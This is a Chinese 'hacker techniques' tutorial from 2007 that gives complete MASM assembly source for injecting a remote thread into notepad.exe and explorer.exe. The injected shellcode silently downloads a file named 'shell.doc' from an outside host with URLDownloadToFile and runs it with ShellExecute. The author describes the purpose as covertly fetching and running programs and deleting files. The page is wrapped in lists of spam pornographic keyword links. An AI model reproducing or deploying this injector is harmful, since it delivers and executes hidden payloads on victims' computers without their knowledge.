国产一级一区二区_segui88久久综合9999_97久久夜色精品国产_欧美色网一区二区

掃一掃
關注微信公眾號

黑客技巧系列之簡單線程注入的實現
2007-01-12   

最近在搞線程注入,其實這個流程也蠻簡單的。一些書上寫的線程注入,都是使用 call [ebx + XXXX]的形式來解決重定位。這樣的話,invoke偽指令就不能直接使用了。就像用偽指令調用messagebox,本來就是invoke MessageBox,NULL,addr szCaption,addr szTitle,MB_OK,遠程注入的話,代碼就要變動,寫成如下形式:

lea eax[ebx+szTitle]
lea ecx[ebx+szCaption]
_invoke [ebx,_MessageBox] ,NULL,ecx,eax,MB_OK

還挺麻煩的。我通過參考網絡上的一些資料,通過線程注入記事本、計算器,或者別的知道了窗口類的軟件進程。在他們的基礎上,線程注入,然后注入的代碼編寫成其他我需要體現的。例如,悄悄下載一些東西并且運行,刪除一些文件等,這個是個人愛好了。

下面是主要的注入記事本進程后運行的代碼:

Shellcode proc
push 00403008H
call LoadLibrary
push 00403013H
call LoadLibrary
invoke URLDownloadToFile,NULL,addr szURL,addr szSaveFile,NULL,NULL
invoke ShellExecute,0,0,addr szSaveFile,0,0,SW_SHOW
invoke ExitThread,0
ret
Shellcode endp

這段代碼是插在記事本運行的,所以它自己要裝載API所需要的dll。比如URLDownloadToFile,是urlmon.dll里面的,所以,要用LoadLibrary裝載。

push 00403008H
call LoadLibrary

00403008H這個地址,是urlmon.dll的內存地址,在同一個exe文件的空間,內存地址是沒有改變,所以00403008H壓棧,然后call LoadLibrary調用,這樣我們就可以使用這個API下載文件了。ShellExecute是在shell32.dll里面,在遠程線程調用,自然也要。

push 00403013H
call LoadLibrary
其中00403013H是shell32.dll的內存地址。全部都裝載完畢,API就可以正常調用。

invoke URLDownloadToFile,NULL,addr szURL,addr szSaveFile,NULL,NULL
invoke ShellExecute,0,0,addr szSaveFile,0,0,SW_SHOW

使用了偽指令的方式注入。

怎么尋找到記事本的ID?Windows提供了FindWindow,只要知道記事本的窗口類,就可以GetWindowThreadProcessId找到了。知道記事本的窗口類很簡單,只要下載一些查看窗口類名的工具就可以了,然后你可以隨便注入一個知道窗口類的程序進程空間。

szCalss db   'Notepad',0
.
invoke FindWindow,addr szCalss,0
.

找到之后,調用GetWindowThreadProcessId可以從窗口類句柄找到PID。接著,OpenProcess找到句柄,其中,要以“允許創建遠程線程”,“允許使用進程的地址空間”,“ PROCESS_VM_WRITE”的權限打開。因為我們就是要對記事本的空間進行寫的操作,權限務必要足夠。如果記事本沒有內存空間給我們存放代碼,那么也枉然,然后要釋放和分配內存空間,VirtualFreeEx與VirtualAllocEx就可以做到,其中VirtualAllocEx返回的句柄保存在寄存器eax中,mov hWnd,eax傳送到hWnd做為操作的句柄,用WriteProcessMemory開始寫它的內存空間,CreateRemoteThread創建指定的線程目標進程句柄,也就是我們最后的注入代碼。

下面是完整代碼:

.386
.model flat, stdcall
option casemap:none
include windows.inc
include kernel32.inc
include user32.inc
include urlmon.inc
include shell32.inc
includelib kernel32.lib
includelib user32.lib
includelib urlmon.lib
includelib shell32.lib

.data
szCalss db   'Notepad',0
szURL   db '[url]Http://chenmingzhong87.xinwen365.com/shell.doc[/url]',0
szSaveFile db 'C:\shell.doc',0

.data?
hModule dd ?
hWnd dd ?
hProcess dd ?
ShellSize dd ?
Pid dd ?
Written dd ?
dwTid dd ?
.code

Shellcode proc
push 00403008H
call LoadLibrary
push 00403013H
call LoadLibrary
invoke URLDownloadToFile,NULL,addr szURL,addr szSaveFile,NULL,NULL
invoke ShellExecute,0,0,addr szSaveFile,0,0,SW_SHOW
invoke ExitThread,0
ret
Shellcode endp
start:
invoke FindWindow,addr szCalss,0
invoke GetWindowThreadProcessId, eax, addr Pid
invoke OpenProcess,PROCESS_CREATE_THREAD or PROCESS_VM_WRITE+\
        PROCESS_VM_OPERATION,FALSE,Pid       
mov hProcess, eax
invoke VirtualFreeEx, hProcess, hModule, 0, MEM_RELEASE
invoke VirtualAllocEx, hProcess, hModule, ShellSize, MEM_COMMIT or MEM_RESERVE,
 PAGE_EXECUTE_READWRITE
mov hWnd, eax
invoke WriteProcessMemory, hProcess, hWnd, hModule, ShellSize, addr Written
invoke CreateRemoteThread, hProcess, 0, 0, addr Shellcode, hModule, 0, addr dwTid
invoke ExitProcess, 0
end start

其實這段:

Shellcode proc
push 00403008H
call LoadLibrary
push 00403013H
call LoadLibrary
invoke URLDownloadToFile,NULL,addr szURL,addr szSaveFile,NULL,NULL
invoke ShellExecute,0,0,addr szSaveFile,0,0,SW_SHOW
invoke ExitThread,0
ret
Shellcode endp

可以將它轉換成機器碼,這樣就不需要子程序了。直接“szShellcode db ............”,在寫入空間地址的時候,直接Wirte進去。

測試方法:

打開一個記事本后運行程序,就注入,然后運行你的寫字版。

BUG描述:

同樣一個編譯好的程序,在這個時候運行,測試成功。寫字版正常打開,過會就不知道為什么,記事本出現錯誤。郁悶了我,知道為什么的請支個招。

剛剛看了一個牛人的代碼,Copy了一部分并做了注釋,把它放到我的代碼中,就可以注入explorer.exe進程了,恭喜一下:

mov edi, eax
assume edi:ptr IMAGE_DOS_HEADER
add edi, [edi].e_lfanew
add edi, sizeof dword
add edi, sizeof IMAGE_FILE_HEADER
assume edi:ptr IMAGE_OPTIONAL_HEADER32
mov eax, [edi].SizeOfImage ;保存整個PE的內存影射尺寸
mov ShellSize, eax ;保存在dwSize,以便下面寫入
assume edi:NOTHING

只是做了一點注釋,將一個DOS下PE文件的標識 MZ 加到寄存器edi。對于sizeof的用法,好像是在內存中的字節變量的大小,然后將編譯好的程序的內存尺寸SizeOfImage保存在eax。mov ShellSize, eax,將SizeOfImage存到了ShellSize。

修改過后的注入explorer.exe完整代碼,Windows XP SP2下測試通過:

.386
.model flat, stdcall
option casemap:none
include windows.inc
include kernel32.inc
include user32.inc
include urlmon.inc
include shell32.inc
includelib kernel32.lib
includelib user32.lib
includelib urlmon.lib
includelib shell32.lib

.data
szDesktopClass     db     'Progman',0 ;explorer.exe 的窗口類
szDesktopWindow   db     'Program Manager',0
szURL   db 'Http://chenmingzhong87.xinwen365.com/shell.doc',0
szSaveFile db 'C:\shell.doc',0

.data?
hModule dd ?
hWnd dd ?
hProcess dd ?
ShellSize dd ?
Pid dd ?
Written dd ?
dwTid dd ?
.code

Shellcode proc
push 00403008H
call LoadLibrary
push 00403013H
call LoadLibrary
invoke URLDownloadToFile,NULL,addr szURL,addr szSaveFile,NULL,NULL
invoke ShellExecute,0,0,addr szSaveFile,0,0,SW_SHOW
invoke ExitThread,0
ret
Shellcode endp
start:
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;這里開始的代碼是借用別人的
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
invoke GetModuleHandle, 0
mov hModule, eax
mov edi, eax
assume edi:ptr IMAGE_DOS_HEADER
add edi, [edi].e_lfanew
add edi, sizeof dword
add edi, sizeof IMAGE_FILE_HEADER
assume edi:ptr IMAGE_OPTIONAL_HEADER32
mov eax, [edi].SizeOfImage
mov ShellSize, eax
assume edi:NOTHING
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;接著原來的代碼繼續執行
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
invoke FindWindow,addr szDesktopClass,addr szDesktopWindow
invoke GetWindowThreadProcessId, eax, addr Pid
invoke OpenProcess,PROCESS_CREATE_THREAD or PROCESS_VM_WRITE+\
    PROCESS_VM_OPERATION,FALSE,Pid     
mov hProcess, eax
invoke VirtualFreeEx, hProcess, hModule, 0, MEM_RELEASE
invoke VirtualAllocEx, hProcess, hModule, ShellSize, MEM_COMMIT or MEM_RESERVE,
 PAGE_EXECUTE_READWRITE
mov hWnd, eax
invoke WriteProcessMemory, hProcess, hWnd, hModule, ShellSize, addr Written
invoke CreateRemoteThread, hProcess, 0, 0, addr Shellcode, hModule, 0, addr dwTid
invoke ExitProcess, 0
end start

責任編輯 趙毅 zhaoyi#51cto.com TEL:(010)68476636-8001


熱詞搜索:

上一篇:突破流信息監控系統IIS防火墻實現注入
下一篇:黑客經驗談之對一刷網站訪問量的小馬分析

分享到: 收藏
国产一级一区二区_segui88久久综合9999_97久久夜色精品国产_欧美色网一区二区
国产成人在线视频网址| 天堂精品中文字幕在线| 最新国产の精品合集bt伙计| 久久久电影一区二区三区| 久久久精品一品道一区| 国产精品久久久久国产精品日日| 欧美精品国产精品| 精品国产区一区| 夜夜精品视频一区二区| 男男成人高潮片免费网站| 国产精品 日产精品 欧美精品| 风间由美性色一区二区三区| 欧美日韩在线精品一区二区三区激情| 3d成人动漫网站| 日本一区二区免费在线| 肉肉av福利一精品导航| 成人免费毛片片v| 日韩一级片网址| 麻豆精品一区二区三区| 成人国产精品免费网站| 日韩午夜电影在线观看| 一级日本不卡的影视| 国产另类ts人妖一区二区| 欧美精品乱码久久久久久按摩 | 国产农村妇女毛片精品久久麻豆| 亚洲精品视频免费观看| 国产精品一区三区| 日韩一区二区在线看| 视频一区二区欧美| 在线视频一区二区免费| 亚洲欧美日韩一区二区三区在线观看| 毛片av一区二区三区| 欧美一区二区三区播放老司机| 亚洲人成7777| 色天天综合色天天久久| 亚洲天堂2014| 欧美午夜在线一二页| 亚洲人精品一区| 欧美三级乱人伦电影| 一区二区三区精品久久久| 色8久久精品久久久久久蜜| 国产精品欧美极品| 在线免费观看日本欧美| 亚洲国产日韩av| 日韩一级在线观看| 国产麻豆日韩欧美久久| 亚洲国产精品成人综合色在线婷婷| 国产一区二区三区四| 国产精品理论在线观看| 色婷婷激情一区二区三区| 国产成人高清视频| 亚洲乱码国产乱码精品精可以看| 欧美日韩在线播放| 国产在线国偷精品免费看| 中文字幕国产精品一区二区| 99久久精品免费| 美女www一区二区| 一区在线观看视频| 欧美军同video69gay| 成人一二三区视频| 日韩成人伦理电影在线观看| 国产精品视频一区二区三区不卡| 欧美午夜精品电影| 成人一级黄色片| 另类小说欧美激情| 一区二区三区四区激情| 国产区在线观看成人精品| 777奇米四色成人影色区| 成人91在线观看| 精品在线观看免费| 美女网站色91| 日本亚洲天堂网| 亚洲福利一区二区三区| 亚洲精品一卡二卡| 亚洲三级在线观看| 中文字幕视频一区| 国产精品三级久久久久三级| 欧美v日韩v国产v| 欧美mv日韩mv国产| 欧美电影精品一区二区| 91精品国产日韩91久久久久久| 在线亚洲免费视频| 99久久久精品| 欧美日韩美少妇| 日韩欧美在线影院| 精品成a人在线观看| 国产亚洲人成网站| 国产精品午夜在线| 国产99久久久久久免费看农村| 日韩在线一区二区三区| 久久av老司机精品网站导航| 日本女人一区二区三区| 极品少妇一区二区| 成人午夜在线播放| 在线观看一区二区精品视频| 欧美性大战久久久久久久| 69av一区二区三区| 久久婷婷色综合| 国产精品第五页| 日韩高清在线一区| 高清国产午夜精品久久久久久| 成人免费视频caoporn| 欧美日韩美少妇| 国产精品久久久久永久免费观看| 亚洲激情中文1区| 韩国精品主播一区二区在线观看| 成人性视频免费网站| 欧美日韩和欧美的一区二区| 久久精品视频一区| 无吗不卡中文字幕| 色综合天天性综合| 欧美精品一区二区久久久| 亚洲国产精品视频| 99热这里都是精品| 久久久久久久久久久黄色| 亚洲欧美日韩在线播放| 国产精品资源站在线| 欧美一级高清片| 亚洲超碰精品一区二区| 欧美性videosxxxxx| 中文字幕一区不卡| 菠萝蜜视频在线观看一区| 国产欧美一区二区精品婷婷| 久久99精品久久久久婷婷| 色综合天天综合网天天看片| 国产欧美一区二区三区鸳鸯浴 | 欧美在线免费观看视频| 久久se精品一区二区| 欧美日韩精品一区二区在线播放 | 成人黄色软件下载| 国产精品进线69影院| 波多野洁衣一区| 亚洲免费观看高清完整| 在线一区二区三区四区| 亚洲成a人v欧美综合天堂| 欧美视频一二三区| 日韩精品成人一区二区在线| 欧美美女黄视频| 久久精品国产999大香线蕉| 欧美成人bangbros| 成熟亚洲日本毛茸茸凸凹| 国产精品麻豆一区二区| 欧美日韩在线电影| 国产美女视频一区| 亚洲男人的天堂一区二区| 欧洲视频一区二区| 极品瑜伽女神91| 国产精品免费网站在线观看| 在线观看网站黄不卡| 毛片一区二区三区| 一区二区三区中文字幕精品精品| 欧美日韩第一区日日骚| 国产白丝精品91爽爽久久| 亚洲国产成人av网| 中文在线免费一区三区高中清不卡| 日本道精品一区二区三区| 久久国内精品视频| 亚洲愉拍自拍另类高清精品| 欧美精品一区二区在线播放| 在线观看亚洲成人| 91丨porny丨蝌蚪视频| 国产真实精品久久二三区| 五月婷婷激情综合网| 亚洲人成影院在线观看| 国产精品色呦呦| 久久天天做天天爱综合色| 91精品国产91热久久久做人人| 色综合 综合色| 高清国产一区二区三区| 国产一区二区精品久久99| 91豆麻精品91久久久久久| 成人小视频在线| 国内精品久久久久影院薰衣草| 麻豆一区二区99久久久久| 日韩国产一区二| 久久精品72免费观看| 麻豆精品视频在线观看| 韩国成人精品a∨在线观看| 精品综合免费视频观看| 国产.精品.日韩.另类.中文.在线.播放| 日韩综合小视频| 久久黄色级2电影| 国产精品资源站在线| 成人美女视频在线看| 99re8在线精品视频免费播放| 91香蕉国产在线观看软件| 欧美性生活一区| 欧美电视剧免费全集观看| 久久久不卡网国产精品一区| 欧美国产日韩a欧美在线观看| 亚洲丝袜自拍清纯另类| 天堂va蜜桃一区二区三区漫画版| 青青国产91久久久久久| 成人动漫一区二区在线| 欧美乱熟臀69xxxxxx| 欧美激情一区二区三区在线| 亚洲一区av在线| 国产一区二区三区精品视频 | 中文字幕高清一区| 亚洲成av人影院在线观看网|